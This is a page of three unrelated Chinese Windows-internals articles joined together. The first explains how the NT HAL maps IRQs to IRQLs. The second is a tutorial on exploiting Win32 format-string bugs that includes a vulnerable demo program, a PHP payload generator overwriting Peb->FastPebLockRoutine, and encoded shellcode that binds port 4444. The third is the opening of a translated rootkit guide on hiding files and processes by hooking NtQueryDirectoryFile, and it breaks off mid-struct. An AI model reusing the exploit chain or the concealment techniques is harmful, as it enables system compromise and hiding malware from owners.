但是接触过硬件的人都知道硬件只有IRQ这个概念,而完全没有IRQL这个东东,但我们写驱动时可以不必去理会IRQ,取而代之的是与IRQL打交道。那么IRQ这个东西哪去了呢?我们知道发生中断时,CPU会用中断向量做索引在IDT(中断描述符表)中找到对应的中断服务例程。那么中断向量又从哪来呢?实际上,它保存在8259A中断控制器里的中断向量寄存器中,每个系统有两个8259A中断控制器,关系是一主一从,主中断控制器掌管IRQ0-IRQ7的中断,对应0×20、0×21端口;从中断控制器掌管IRQ8-IRQ15的中断,对应0xa0、0xa1端口。主中断控制器的中断向量寄存器保存IRQ0的中断向量,从中断控制器的中断向量寄存器保存IRQ8的中断向量。中断发生时,CPU从中断向量寄存器中取出IRQ0的中断向量与当前IRQ相加,既可得当前中断向量。中断向量寄存器并不是一开始就是这个值,在实模式下,IRQ分别对应了BIOS中的中断处理程序。但到了保护模式下时原BIOS中断处理程序的中断号都对应了异常处理程序(0×0-0×11),所以进入保护模式后就得进行中断的重映射,向8259A中断控制器编程,使它按操作系统的意图进行中断映射(正因为如此,PIC才叫“可编程”)。听起来好象很难,其实很简单,分别向0×20和0xa0发送4个ICW(初始化命令字)就可以完成对它的编程。ICW1包括是否工作在级联环境、中断请求的触发模式等;ICW2就是IRQ0的中断向量(向0xa1是发IRQ8的中断向量),要求是8位对齐;ICW3是主、从中断控制器的级联状态,指示由IRQx(一般是IRQ2)作为主、从中断控制器连接的中断,向0×20、0xa0端口发送的命令是不一样的;ICW4指示是否工作于x86模式下及是否自动清楚EOI等。windows在启动阶段初始化时对中断控制器编程,ICW2对于0×21端口是0×30,对于0xa1是0×38。至此,中断映射完毕,中断发生后可以直接从IDT中索引中断处理程序。

当中断发生并索引到对应中断处理程序后转入中断处理程序执行,每个中断处理程序开始的代码都是一样的,是一段预处理代码,它是怎么产生的呢?当IoConnectInterrupt注册中断处理程序时,会产生一个KINTERRUPT结构,结构如下:

typedef struct _KINTERRUPT {
CSHORT Type;
CSHORT Size;
LIST_ENTRY InterruptListEntry;
PKSERVICE_ROUTINE ServiceRoutine;
PVOID ServiceContext;
KSPIN_LOCK SpinLock;
ULONG TickCount;
PKSPIN_LOCK ActualLock;
PVOID DispatchAddress;
ULONG Vector;
KIRQL Irql;
KIRQL SynchronizeIrql;
BOOLEAN FloatingSave;
BOOLEAN Connected;
CHAR Number;
UCHAR ShareVector;
KINTERRUPT_MODE Mode;
ULONG ServiceCount;
ULONG DispatchCount;
ULONG DispatchCode[106];
} KINTERRUPT, *PKINTERRUPT;

中断描述符表中保存的中断服务例程的入口地址就是这个KINTERRUPT结构的DispatchCode的地址。这段代码的功能很明白,就是调用HalBeginSystemInterrupt完成从IRQ到IRQL的映射(同样负责映射的函数还有KfRaiseIrql、KfLowerIrql、HalEndSystemInterrupt等函数)。只有完成了映射后才会转到实际的中断处理程序,也就是用户注册的中断处理程序的执行。

IRQL是一个完全虚拟出来的概念,M$为了实现这一个虚拟的机制,完全虚拟了一个中断控制器,它在KPCR中:

+024 byte Irql //IRQL
+028 uint32 IRR //虚拟中断请求寄存器
+02c uint32 IrrActive //虚拟中断在服务寄存器
+030 uint32 IDR //虚拟中断屏蔽寄存器

和一个实际中断控制器几乎一模一样,除去少部分实现IRQL机制的代码外,整个系统其实都是在和这个虚拟出来的东西交流,而上层系统对此是一无所知,对着一个假的东西整天RaiseIrql来LowerIrql去的还玩得不亦乐乎^^。其实IRQL可以理解为是windows硬件抽象层模拟了实际的IRQ的实现方式,使上层和硬件抽象层打交道就象以前直接和硬件打交道一样,并将IRQ的16个中断扩展了为了32个,除去映射了IRQ的16个,剩下的全归系统实现各种功能使用。它的初始化是在前面提到的向保护模式过渡时编程PIC后,会向实际两个8259A中断控制器发中断屏蔽码,屏蔽掉所有中断,这也就是为什么启动时你按什么键系统都不会有反应的原因,全都给屏蔽了。然后第一次调用KfRaiseIrql,提升的IRQL是当前IRQL(KPCR刚刚初始化完,当前IRQL当然是0)。IRQL从0到32,对应32个优先级,相应的寄存器当然必须是32位的,所以IRR、IDR等都是一个DWORD,每个位对应了一个优先级。

扯了那么多,还没扯到关键的IRQ是怎么映射为IRQL上来和IRQL是怎么实现的:)IRQL和IRQ有个很简单的线性关系,就是IRQL=0×27-IRQ。前面提到了每个中断在处理前都会调用HalBeginSystemInterrupt,因为整个系统是由中断驱动的,所以HalBeginSystemInterrupt才是整个IRQL映射机制的心脏,它会在系统第一次被中断时启动这个机制并在系统每一次中断时维持这个机制,而其它象HalEndSystemInterrupt、KfLowerIrql等都是在这个机制被启动后完善这个机制的组件。

BOOLEAN
HalBeginSystemInterrupt(
IN KIRQL Irql
IN CCHAR Vector,
OUT PKIRQL OldIrql)

它的输入参数Irql和Vector从哪来?当然是从前面注册的KINTERRUPT结构中取出了。这个函数首先通过把Vector-0×30获取当前中断的IRQ,然后跳转到一个指针数组,里面包含了对应IRQ的中断的一个简单处理例程,除了少部分IRQ7(并口1中断)、IRQ13(协处理器中断)、IRQ15不一样外,其它的都是指向同一个函数(其实前面那几个不一样的也只是做点小处理,主要是判断是否是假中断,若不是则也跳到那个函数)。真正的工作在这个函数里开始了,从虚拟中断控制器中(KPCR+0×24)取出当前IRQL,并与当前中断的IRQL判断,若当前IRQL小于当前中断IRQL,则修改虚拟中断控制器的IRQL为当前中断IRQL,然后向中断控制器发对应中断EOI表示中断已处理完,可以响应下一个来自这个IRQ的中断(如果中断是IRQ8-IRQ15,属于从中断控制器管理,则还要向主中断控制发一个对应IRQ2的EOI)。若当前中断IRQL小于当前IRQL,则说明有个更高优先级的中断在被处理,则设置虚拟中断控制器中的中断请求寄存器IRR中的相关位,表示该IRQL发生请求,但未被处理。同时从KiI8259MaskTable中取出当前IRQL的掩码(这个掩码是32位,每个IRQL对应一个掩码,一般都是掩码对应IRQL以上的位为1,以下的位为0,表示只接受大于当前IRQL的请求,如11111111111111111111110000000000B是IRQL17的掩码)与当前虚拟中断控制器中的中断屏蔽寄存器IDR相或之后设置虚拟的IDR,表示拒绝来自这些IRQL的请求。并把该掩码发实际的中断控制器,设置中断屏蔽寄存器,防止该未被处理的中断再发生一次。注意,系统并没有向中断控制器发出该未被处理的中断的EOI,表示该中断并没有处理完。最后HalBeginSystemInterrupt返回FALSE(注意,是返回,前面只是跳转到那个函数里,返回地址并没有变),表示这是一个假中断,系统象什么事也没有一样继续干该干的事。

调用完HalBeginSystemInterrupt后开始调用实际由用户注册的中断处理程序,处理完后会调用HalEndSystemInterrupt,调用这个函数时必须是关中断的。这个函数和所有HalEndSoftwareInterrupt、KfLowerIrql、KfLowerIrqlToXXX函数功能差不多,就是降低当前IRQL,从另一个掩码表FindHigherIrqlMask中取出要降低到的IRQL的掩码放到edx中(要说这个表和刚才那个表有啥不同,就是这个表差不多是对上一个每个掩码取反,注意,是差不多,不是完全),与上虚拟中断请求寄存器来判断是否有更高级的IRQL的请求在等待,当然,并没有改变虚拟中断请求寄存器。同时把虚拟中断控制器的IRQL设置为要降低到的IRQL。若没有更高级的IRQL请求在等待,则HalEndSystemInterrupt返回,否则要处理等待的IRQL请求,此时会判断虚拟在服务寄存器是否为空,不为空则表示还有中断在处理,直接返回,这种情况是某些延时了的硬件中断处理。为空的话可以处理等待的中断了,从edx中(edx里是什么内容,往上找吧)找出左边第一个不是0的位,也就是在等待的中断中IRQL最高的一个中断。(当然,这里也会比较一下该中断对应的IRQL是不是已经小于DISPATCH_LEVEL,小于的话已经是软中断了,就会跳到其它地方处理)。然后用虚拟中断屏蔽寄存的值设置实际的两个中断控制器里的屏蔽寄存器的值,接着如果虚拟中断在服务寄存器IrrActive对应要处理中断IRQL的位没有置位的话则置位,表示当前处于在服务状态,并清除原先设置的虚拟中断请求寄存器IRR中相关位。现在到了关键的一步,以当前IRQL为索引,跳转到一个函数指针表中索引对应的函数。这个表叫做SWInterruptHandlerTable,其作用就象实模式下那个中断向量表一样,索引对应的中断处理程序。我们来看看表里有啥内容:

SWInterruptHandlerTable label dword
dd offset FLAT:_KiUnexpectedInterrupt ; irql 0
dd offset FLAT:_HalpApcInterrupt ; irql 1
dd offset FLAT:_HalpDispatchInterrupt2 ; irql 2
dd offset FLAT:_KiUnexpectedInterrupt ; irql 3
dd offset FLAT:HalpHardwareInterrupt00 ; 8259 irq#0
dd offset FLAT:HalpHardwareInterrupt01 ; 8259 irq#1
dd offset FLAT:HalpHardwareInterrupt02 ; 8259 irq#2
dd offset FLAT:HalpHardwareInterrupt03 ; 8259 irq#3
dd offset FLAT:HalpHardwareInterrupt04 ; 8259 irq#4
dd offset FLAT:HalpHardwareInterrupt05 ; 8259 irq#5
dd offset FLAT:HalpHardwareInterrupt06 ; 8259 irq#6
dd offset FLAT:HalpHardwareInterrupt07 ; 8259 irq#7
dd offset FLAT:HalpHardwareInterrupt08 ; 8259 irq#8
dd offset FLAT:HalpHardwareInterrupt09 ; 8259 irq#9
dd offset FLAT:HalpHardwareInterrupt10 ; 8259 irq#10
dd offset FLAT:HalpHardwareInterrupt11 ; 8259 irq#11
dd offset FLAT:HalpHardwareInterrupt12 ; 8259 irq#12
dd offset FLAT:HalpHardwareInterrupt13 ; 8259 irq#13
dd offset FLAT:HalpHardwareInterrupt14 ; 8259 irq#14
dd offset FLAT:HalpHardwareInterrupt15 ; 8259 irq#15

可以看到IRQL2是处理APC的例程,IRQL3的例程会处理DPC和环境切换(我在《SYMANTEC防火墙内核堆栈溢出漏洞利用方法总结》一文中提到过),那么这些HalpHardwareInterruptXX之类的是什么?很简单,就是int xx,然后返回。因为中断被延迟错过了由系统机制索引IDT表然后处理的机会,操作系统只好自己模仿一个中断来索引IDT表找到中断处理程序。前面提到的如果是一个软中断在等待,则会略过前面那些对硬件的操作直接索引IDT表找处理程序,不是IRQL2的就是IRQL3的,所以我前面说过软中断其实所谓“中断”都是虚拟出来的,连int指令都没执行过。处理完并返回到HalEndSystemInterrput后的处理就简单了,将虚拟中断在服务寄存器中相关位清0,并再判断是否还有高于当前IRQL的中断在等待,有,则继续刚才的处理过程;没有,工作完成,可以返回了。HalEndSystemInterrupt返回后,中断处理程序就执行完毕,iret返回被中断的地方。

其它的象KfLowerIrql、HalEndSoftwareInterrput和HalEndSystemInterrupt基本原理是一样的。至于KfRaiseIrql,不要以为它有多复杂,它仅仅是修改了虚拟中断控制器的IRQL而已。

现在回头再来看这套机制,它并不是为了提高效率,如果单为提高效率完全可以通过开/关中断来完成,而它处理每个中断都白白多了那么多代码,还虚拟了一堆东西出来,反而拖了系统速度。这个机制这么实现除了实现系统的一些功能外,几乎可以说是为了移植性,想想那时M$正在编写windows时因为David Culter的事不得不和Digital公司签订的必须支持Alpha处理器的“不平等”条约,使得windows必须把可移植性放在首位。就如前所说,整个系统大部分只需要和一个虚拟出来的中断控制器打交道就行,而不必管实际的中断处理器怎样,在驱动看来,它还是在和硬件打交道。这也就是硬件抽象的含义,把一个具体的东西抽象成一个虚拟的东西。至于用这套机制实现的一些系统功能确实有一定的优越之处,象linux从2.4内核起也实现了softirq这种类似于windows下软中断的概念,而用tasklet这种softirq来处理硬件中断的下半部分(Bottom half),则类似于windows里DPC的作用。

有些朋友可能会说,按这么来说键盘的中断向量是0×3c,那么也应该处于IDT表里的0×3c处,为什么在虚拟机里看怎么不是这个位置?这个问题也困扰了我很久,直到我不久前才明白,就是虚拟机默认使用了APIC,不再是那么简单的固定映射。包括HalBeginSystemInterrupt等函数也完全不一样。具体怎么不一样有时间我再分析分析。

写了这么多也不知道说明白了没有。上了大学以后就再没写过作文,语言表达能力明显下降了,明明知道是这么一回事,可是写出来就不一样了。今天考混凝土又被郁闷了,于是一口气完成了这篇文章。难免会有错漏,欢迎与我探讨:)

2004年11月06日

整理:san
创建:2004.10.26

本文缘起KF在0dd邮件列表的问题,由于Win32平台的格式化串漏洞相对很少,所以以前没有关注过。不过David Litchfield曾经写过Win32平台格式化串漏洞的利用技术,但是他用的方法并不是很好,于是有了此文。

1.1 Win32平台格式化串与其它平台的不同

在Linux平台下直接指定要访问的参数的”$”格式符在Win32下根本就不支持:

D:\working\research\Win32 format\2004.10.27>type d_test.c
main()
{
    printf (“%6$d\n”, 6, 5, 4, 3, 2, 1);
}

用VC6编译后运行查看结果:

D:\working\research\Win32 format\2004.10.27>cl d_test.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80×86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

d_test.c
Microsoft (R) Incremental Linker Version 6.00.8447
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:d_test.exe
d_test.obj

D:\working\research\Win32 format\2004.10.27>d_test
$d

输出的居然就是”$d”。所以在Linux平台的那种”%%%d$hn”格式串在Win32下是无法利用,不过这也没关系,用其它格式符pop参数就可以了。存在的弊端就是构造格式串的字符串可能会稍长,但这在很多情况下是不影响的。

另外还有一个问题就是Win32的堆栈地址不如Linux/Unix那么稳定,而且Win32堆栈地址一般都是0×0012e000这样的地址,最开始的一个字节包含0,所以覆盖函数保存在堆栈里的返回地址的方法就不是那么自如了(David Litchfield提到的方法是把堆栈地址放在格式串的最后,那么和格式串结束符0正好组合成完整的堆栈地址),选堆栈地址作为shellcode地址也不是那么稳定。下面我们将用实例演示Win32平台格式串更好的利用方法。

1.2 Win32平台格式化串的利用方法演示

首先我们构造一个存在格式化串漏洞的程序:

/* Windows format strings demo
*
*  san@xfocus.org
*  2004.10.26
*/

#include <stdio.h>
#define IOSIZE 1024

int main(int argc, char **argv )
{
    FILE * binFileH;
    char binFile[] = “binfile”;
    char buf[IOSIZE];

    if ( (binFileH = fopen(binFile, “rb”)) == NULL )
    {
        printf(“can’t open file %s!\n”, binFile);
        exit();
    }

    memset(buf, 0, sizeof(buf));
    fread(buf, sizeof(char), IOSIZE, binFileH);

    printf(“%d\n”, strlen(buf));
    printf(buf);

    fclose(binFileH);
}

这是一个很简单的程序,它从当前目录的”binfile”文件读取内容,然后把这些内容直接作为printf的参数打印,典型的格式化串漏洞。构造一个包含如下内容的”binfile”文件:

AAAABBBB|%x|%x|%x|%x|%x

运行这个format程序:

D:\working\research\Win32 format\2004.10.27>format
23
AAAABBBB|666e6962|656c69|41414141|42424242|7c78257c

可以发现只需pop掉两次参数就能显示格式串最开始的内容。不过Win32下我们到底覆盖什么地址比较好呢?BasepCurrentTopLevelFilter指针是个不错主意,但是它的地址在各种版本都不相同。由于格式化串漏洞可以实现多次往任意地址写任意内容,那么我们是否可以写一段代码到一个地址,然后把这个地址写到Peb->FastPebLockRoutine指针,那么在程序退出时调用Peb->FastPebLockRoutine指针就能执行到我们的代码。我们的这个代码来实现搜索堆栈中shellcode的任务:

7FFDF250    54              PUSH ESP
7FFDF251    5F              POP EDI
7FFDF252    B8 90909090     MOV EAX,90909090
7FFDF257    FC              CLD
7FFDF258    F2:AF           REPNE SCAS DWORD PTR ES:[EDI]
7FFDF25A    57              PUSH EDI
7FFDF25B    C3              RETN

这段代码的意思是从当前esp开始往高地址搜索包含0×90909090的内容,如果找到就进入该代码执行。往esp高地址还是低地址搜索取决于当时的情况。这个搜索代码有12个字节,加上覆盖地址的4个字节,一共是16个字节,要求往内存地址写8次。由于C语言处理字符串有些麻烦,所以我用PHP写了如下构造格式串的过程:

<?php
/* Windows format strings demo
*
*  san@xfocus.org
*  2004.10.26
*/

$flag = 2;
$shellcode =
“\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x58\x01\x80\x34\x0b\xf8\xe2\xfa”.
“\xeb\x05\xe8\xeb\xff\xff\xff\x11\xda\xf9\xf8\xf8\xa7\x9c\x59\xc8″.
“\xf8\xf8\xf8\xa8\x73\xb8\xf4\x73\xb8\xe4\x73\x90\xf0\xa8\x73\x0f”.
“\x92\xfa\xa1\x10\x39\xf8\xf8\xf8\x1a\x01\xa0\x73\xf8\x73\x90\xf0″.
“\xa0\x07\xce\x77\xb8\xd8\x07\x8e\xfc\x77\xb8\xdc\x92\xfb\xa1\x10″.
“\x5d\xf8\xf8\xf8\x1a\x01\x90\xcb\xca\xf8\xf8\x90\x8f\x8b\xca\xa7″.
“\xac\x07\xae\xf0\x73\x10\x92\xfd\xa1\x10\x73\xf8\xf8\xf8\x1a\x01″.
“\x79\x14\x68\xf9\xf8\xf8\xac\x90\xf9\xf9\xf8\xf8\x07\xae\xec\xa8″.
“\xa8\xa8\xa8\x92\xf9\x92\xfa\x07\xae\xe0\x73\x20\xcb\x38\xa8\xa8″.
“\xa8\x73\x04\x9e\x3f\xff\xfa\xf8\x9e\x73\xbe\xd0\x7e\x3c\x9e\x71″.
“\xbf\xfa\x92\xe8\xaf\xab\x07\xae\xe4\x92\xf9\xab\x07\xae\xd8\xa8″.
“\xa8\xab\x07\xae\xdc\x73\x20\x90\x9b\x95\x9c\xf8\x75\xec\xdc\x7b”.
“\x14\xac\x73\x04\x92\xec\xa1\xcb\x38\x71\xfc\x77\x1a\x03\x3e\xbf”.
“\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71\xa7\xb0\x71\xa7\xb4\x71\xa7″.
“\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9\x92\xf9\xa9\xa9\xaa\xa9\x07″.
“\xae\xf4\xcb\x38\xb0\xa8\x07\xae\xe8\xa9\xae\x73\x8d\xc4\x73\x8c”.
“\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb\x0d\xcb\x31\xb1\xb9\x55\xfb”.
“\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c\xf0\x39\x33\xff\xfb\x22\xb8″.
“\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6\xdc\xfb\x25\x9e\x73\xf4\xb3″.
“\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb\x3d\x53\xa6\xa1\x3b\x10\x21″.
“\x06\x07\x07\x06\xdc\x81\x9c\x22\x06\xf1\x6e\xca\x8c\x69\xf4\x31″.
“\x44\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c”.
“\xe8\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf9\xa4\xe9\x47\x1d”;

/*
7FFDF250    54              PUSH ESP
7FFDF251    5F              POP EDI
7FFDF252    B8 90909090     MOV EAX,90909090
7FFDF257    FC              CLD
7FFDF258    F2:AF           REPNE SCAS DWORD PTR ES:[EDI]
7FFDF25A    57              PUSH EDI
7FFDF25B    C3              RETN
*/
$fmt_array = array(
                    0×7FFDF250 => “0×5f54″,
                    0×7FFDF252 => “0×90b8″,
                    0×7FFDF254 => “0×9090″,
                    0×7FFDF256 => “0xfc90″,
                    0×7FFDF258 => “0xaff2″,
                    0×7FFDF25A => “0xc357″,
                    0×7FFDF022 => “0×7ffd”,
                    0×7FFDF020 => “0xf250″,
                   );

asort($fmt_array);
print_r($fmt_array);
$count = count($fmt_array);

$head = “”;
$tail = “”;
$last = 0;
foreach($fmt_array as $k => $v) {
    printf(“%x\n”, $k);
    $b0 = sprintf(“%c”, (($k >> 24) & 0xff));
    $b1 = sprintf(“%c”, (($k >> 16) & 0xff));
    $b2 = sprintf(“%c”, (($k >>  8) & 0xff));
    $b3 = sprintf(“%c”, (($k      ) & 0xff));

    if (!$last) {
        $last += 8*$count+8*$flag;
    }

    $head .= “AAAA”.$b3.$b2.$b1.$b0;
    $tail .= “%”.($v-$last).”c%hn”;
    $last  = $v;
}
$fmt_str  = $head.(str_repeat(“%.8x”, $flag)).$tail;

$fmt_str .= str_repeat(“\x90″, 100).$shellcode;

$fp = fopen(“binfile”, “wb”);
fwrite($fp, $fmt_str);
fclose($fp);
?>

生成”binfile”文件后用SoftICE的Symbol Loader加载format.exe程序进行调试,首先对0×7ffdf020下一个读写断点:

:bpm 7ffdf020
:dd 7ffdf020
:g

运行4个g以后,0×7ffdf020的内容被改写为0×7ffdf250,而且0×7ffdf250开始的地址也写入了上面12个字节搜索shellcode的代码。这时在0×7ffdf250下一个断点:

:bpx 7ffdf250
:g

运行两个g以后就进入该地区:

001B:7FFDF250  54                  PUSH      ESP
001B:7FFDF251  5F                  POP       EDI
001B:7FFDF252  B890909090          MOV       EAX,90909090
001B:7FFDF257  FC                  CLD
001B:7FFDF258  F2AF                REPNZ SCASD
001B:7FFDF25A  57                  PUSH      EDI
001B:7FFDF25B  C3                  RET

这时的ecx等于0×7FFDF250,所以我们不需要再给ecx赋值。esp等于0×0012EE78,正好我们的shellcode在esp高地址的地方,所以执行了一个cld指令,如果我们的shellcode在esp低地址的地方,那么cld指令应该换成std指令。按F10执行完ret指令后,代码滑入shellcode:

001B:0012FC10  90                  NOP

在shellcode里我们必须马上恢复Peb->FastPebLockRoutine指针的内容为RtlEnterCriticalSection函数的地址:

        mov     eax, fs:30h
        push    eax

        mov     eax, [eax+0Ch]
        mov     eax, [eax+1Ch]
        mov     ebp, [eax+8]                      ; base address of ntdll.dll
        push    eax

        mov     esi, edi

        push    _Nnums
        pop     ecx

        GetNFuncAddr:                           ; find functions from ntdll.dll
        call    find_hashfunc_addr
        loop    GetNFuncAddr

        pop     eax
        mov     eax, [eax]
        mov     ebp, [eax+8]                    ; base address of kernel32.dll
        pop     eax
        push    dword ptr [esi+_RtlEnterCriticalSection]
        pop     dword ptr [eax+0x20]
        push    dword ptr [esi+_RtlLeaveCriticalSection]
        pop     dword ptr [eax+0x24]

format.php里的shellcode被正确执行后会监听在4444端口。这个利用程序在Windows 2003下是无法利用的,因为Windows 2003的PEB里已经没有Peb->FastPebLockRoutine和Peb->FastPebUnlockRoutine这两个指针。在Windows XP SP2上利用的成功率也会很低,因为SP2的PEB里虽然还有Peb->FastPebLockRoutine和Peb->FastPebUnlockRoutine这两个指针,但是它的PEB基地址却不是固定的,进程每次运行都不会相同。

这种技术在其它平台也可以使用,只是其它平台未必有象Win32这样固定的类似Peb->FastPebLockRoutine指针。

广告时间:

本是XFocus Security Team的《网络渗透技术》(暂定名)一书中《Win32格式化串漏洞利用技术》一节。XFocus Security Team将在安全焦点技术研究版对本书做全面技术支持。

2004年10月31日

=============================[ 在NT“盒子”里消失 ]=============================

                         如何在Windows NT中隐藏自己
                         ————————–
                          
                          作者:Holy_Father <holy_father@phreaker.net>
                          版本:1.2 英语
                          日期:05.08.2003
                          
                          翻译:pker / CVC翻译小组
                          
                          
=====[ 1. 目录 ]================================================================

1. 目录
2. 介绍
3. 文件
       3.1 NtQueryDirectoryFile
       3.2 NtVdmControl
4. 进程
5. 注册表
       5.1 NtEnumerateKey
       5.2 NtEnumeratevalueKey
6. 系统服务和驱动
7. 挂钩和展开
       7.1 权限
       7.2 全局钩子
       7.3 新进程
       7.4 DLL
8. 内存
9. 句柄
       9.1 命名句柄并获得类型
10. 端口
       10.1 WinXP的Netstart,OpPorts,WinXP的FPort
       10.2 Win2k和NT4的OpPorts,Win2k的FPort
11. 结束语

=====[2. 介绍 ]=================================================================

这篇文档是关于在Windows NT中隐藏对象、文件、服务和进程等的技术。这些方法是建立在
挂钩Windows API的基础上的,具体描述见我的“挂钩Windows API”。

所有的这些都是我在编写rootkit代码时自己研究出来的,所有我在写这篇文章时的效率很高,
而且很容易就写成了。这要归功于我的付出。

在这篇文档中所提到的对任意对象的隐藏是指通过改变命名对象的系统过程使之跳过对这个
对象的命名过程。这样这个对象就只是这个过程的返回值,好象它不存在一样。

基本方法(不包括描述上的区别)是我们使用原始调用和原始函数然后我们改变它的输出。

在这个版本的文档中我们讲述如何隐藏文件、进程、关键字和注册表键值,系统服务和驱动,
分配的内存和句柄。

=====[ 3. 文件 ]================================================================

有很多隐藏文件而使其对系统不可见的可能。我们只针对改变API的技术而不涉及那些修改文
件系统的技术。这也更加简单因为我们不需要知道很多实际的文件系统是如何工作的。

=====[ 3.1 NtQueryDirectoryFile ]===============================================

Windows NT中,在目录中寻找文件是通过在这个目录和它所有的子目录中寻找得到的。因为
枚举文件要用到NtQueryDirectoryFile。

   NTSTATUS NtQueryDirectoryFile(
       IN HANDLE FileHandle,
       IN HANDLE Event OPTIONAL,
       IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
       IN PVOID ApcContext OPTIONAL,
       OUT PIO_STATUS_BLOCK IoStatusBlock,
       OUT PVOID FileInformation,
       IN ULONG FileInformationLength,
       IN FILE_INformATION_CLASS FileInformationClass,
       IN BOOLEAN ReturnSingleEntry,
       IN PUNICODE_STRING FileName OPTIONAL,
       IN BOOLEAN RestartScan
   );
  
对我们来说重要的参数是FileHandle,FileInformation和FileInformationClass。File-
Handle是一个可以从NtOpenFile得到的目录对象的句柄。FileInformation是一个指向一块
已分配内存的指针,函数向这里写入用户想要得到的信息。FileInformationClass决定在
FileInformation中写入的记录类型。

FileInformationClass是一个可变的枚举类型,但是我们只需要其中的四个值,这四个值用
来枚举目录的内容。

   #define FileDirectoryInformation        1
   #define FileFullDirectoryInformation    2
   #define FileBothDirectoryInformation    3
   #define FileNamesInformation            12
  
对于FileDirectoryInformation写入FileInformation的记录结构是:

   typedef struct _FILE_DIRECTORY_INformATION {
       ULONG NextEntryOffset;
       ULONG Unknown;
       LARGE_INTEGER CreationTime;
       LARGE_INTEGER LastAccessTime;
       LARGE_INTEGER LastWriteTime;
       LARGE_INTEGER ChangeTime;
       LARGE_INTEGER EndOfFile;
       LARGE_INTEGER AllocationSize;
       ULONG FileAttributes;
       ULONG FileNameLength;
       WCHAR FileName[1];
   } FILE_DIRECTORY_INformATION, *PFILE_DIRECTORY_INformATION;
  
对于FileFullDirectoryInformation:

   typedef struct _FILE_FULL_DIRECTORY_INformATION {
       ULONG NextEntryOffset;
       ULONG Unknown;
       LARGE_INTEGER CreationTime;
       LARGE_INTEGER LastAccessTime;
       LARGE_INTEGER LastWriteTime;
       LARGE_INTEGER ChangeTime;
       LARGE_INTEGER EndOfFile;
       LARGE_INTEGER AllocationSize;
       ULONG FileAttributes;
       ULONG FileNameLength;
       ULONG EaInformationLength;
       WCHAR FileName[1];
   } FILE_FULL_DIRECTORY_INformATION, *PFILE_FULL_DIRECTORY_INformATION;
  
对于FileBothDirectoryInformation:

   typedef struct _FILE_BOTH_DIRECTORY_INformATION {
       ULONG NextEntryOffset;
       ULONG Unknown;
       LARGE_INTEGER CreationTime;
       LARGE_INTEGER LastAccessTime;
       LARGE_INTEGER LastWriteTime;
       LARGE_INTEGER ChangeTime;
       LARGE_INTEGER EndOfFile;
       LARGE_INTEGER AllocationSize;
       ULONG FileAttributes;
       ULONG FileNameLength;
       ULONG EaInformationLength;
       UCHAR AlternateNameLength;
       WCHAR AlternateName[12];
       WCHAR FileName[1];
   } FILE_BOTH_DIRECTORY_INformATION, *PFILE_BOTH_DIRECTORY_INformATION;
  
对于FileNamesInformation:

   typedef struct _FILE_NAMES_INformATION {
       ULONG NextEntryOffset;
       ULONG Unknown;
       ULONG FileNameLength;
       WCHAR FileName[1];
   } FILE_NAMES_INformATION, *PFILE_NAMES_INformATION;
  
这个函数在FileInformation写入一个这些结构的列表。在这些结构类型中只有三个变量对我
们很重要。

NextEntryOffset是详细列表项的长度。第一项可以在地址FileInformation + 0处找到。所
以第二项就是在第一项的偏移FileInformation + NextEntryOffset处。最后一项的Next-
EntryOffset字段为0。

FileName是文件的完成文件名。

FileNameLength是文件名的长度。

如果我们想要隐藏一个文件,我们要分辨出这四个类型的结构然后对每一个返回的记录我们
需要把其中的文件名与我们要隐藏的文件名进行比较。如果我们要隐藏第一个记录,我们就
要根据第一个结构的大小移动后面的结构。这就导致第一个记录被重写。如果我们要隐藏另
一个记录,我们可以简单的改写前一个记录的NextEntryOffset字段。如果我们想隐藏最后一
个记录,那么它前面一个记录的NextEntryOffset字段应该置为0,否则这个字段的值应该是
我们要隐藏的记录和前一记录的NextEntryOffset字段的和。然后我们要改写前一记录的
Unknown字段的值,这个值是下一个记录的索引号。前一记录的Unknown值应该写为我们要隐
藏的记录的Unknown字段值。

如果没有找到可见的记录,我们会得到一个表示错误的返回值STATUS_NO_SUCH_FILE。

   #define STATUS_NO_SUCH_FILE 0xC000000F
  
  
=====[ 3.2 NtVdmControl ]=======================================================

出于一些原因,DOS模拟器NTVDM可以用过NtVdmControl调用获得文件列表。

   NTSTATUS NtVdmControl(        
       IN ULONG ControlCode,
       IN PVOID ControlData
   );

ControlCode指定向ControlData缓冲中提供数据的子功能。如果ControlCode等于VdmDirect-
oryFile,那么这个函数与FileInformationClass字段填FileBothDirectoryInformation的
NtQueryDirectoryFile函数等价。

   #define VdmDirectoryFile 6
  
然后ControlData的使用和FileInformation一样。这里唯一的不同就是我们不知道这个缓冲
的大小。所以我们必须手工计算他们。我们必须在每个记录的大小上加上NextEntryOffset
还有在最后一个记录的大小上加上FileNameLength的大小,最后一个记录不包括文件名的长
度是0×5E。隐藏的方法和使用NtQueryDirectoryFile一样。

=====[ 4. 进程 ]================================================================

很多系统信息可以通过NtQuerySystemInformation得到。

   NTSTATUS NtQuerySystemInformation(
       IN SYSTEM_INformATION_CLASS SystemInformationClass,
       IN OUT PVOID SystemInformation,
       IN ULONG SystemInformationLength,
       OUT PULONG ReturnLength OPTIONAL
   );
  
SystemInformationClass指定我们要获得的信息的类型,SystemInformation是一个指向函数
输出缓冲的指针,SystemInformationLength是缓冲的大小,ReturnLength是写入字节数。

我们可以通过把SystemInformationClass字段设置为SystemProcessAndThreadsInformation
来枚举运行中的进程。

   #define SystemInformationClass 5

返回SystemInformation缓冲的结构如下:

   typedef struct _SYSTEM_PROCESSES {
       ULONG NextEntryDelta;
       ULONG ThreadCount;
       ULONG Reserved1[6];
       LARGE_INTEGER CreateTime;
       LARGE_INTEGER UserTime;
       LARGE_INTEGER KernelTime;
       UNICODE_STRING ProcessName;
       KPRIORITY BasePriority;
       ULONG ProcessId;
       ULONG InheritedFromProcessId;
       ULONG HandleCount;
       ULONG Reserved2[2];
